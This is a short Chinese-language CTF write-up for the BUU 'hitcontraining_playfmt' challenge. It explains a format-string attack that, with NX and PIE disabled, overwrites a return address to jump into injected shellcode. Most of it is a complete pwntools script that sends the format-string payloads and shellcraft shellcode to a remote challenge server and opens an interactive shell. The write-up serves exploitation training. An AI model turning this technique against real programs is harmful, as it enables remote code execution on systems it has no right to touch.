BUU-hitcontraining_playfmt-WP

Posted on Dec 8, 2020

在看这篇WP前,如果你不了解堆上的格式化字符串的利用方法,建议你先看一下这一篇WP

这道题和xman_2019_format这题基本没什么差别,就是没了原来的后门函数,但是这题没开NX,所以我们可以注入shellcode然后retrun到那里就可以了。程序也没有开启PIE,那么shellcode在的位置就是

buf所在的位置

from pwn import *                                    
context(log_level = 'debug',os = 'linux',arch = 'i386')
shellcode = asm(shellcraft.sh())                     
                                                     
while 1:                                             
    #sh = process("./playfmt")                       
    sh = remote("node3.buuoj.cn","26226")            
                                                     
    payload = "%12c" + "%6$hhn"                      
    sh.recvuntil("=\n")                              
    sh.sendlineafter("=\n",payload)                  
                                                     
    payload = "%41069c" + "%10$hn" + shellcode   
    #由于我这里一起注入了shellcode,所以输出的字符数是0xA060+13  
    sh.sendline(payload)                             
    sh.sendline('quit')                              
                                                     
    try:                                             
    ┊   sh.sendline("echo pwned")                    
    ┊   sh.recvuntil("pwned")                        
    ┊   sh.interactive()                             
    ┊   break;                                       
    except:                                          
    ┊   sh.close()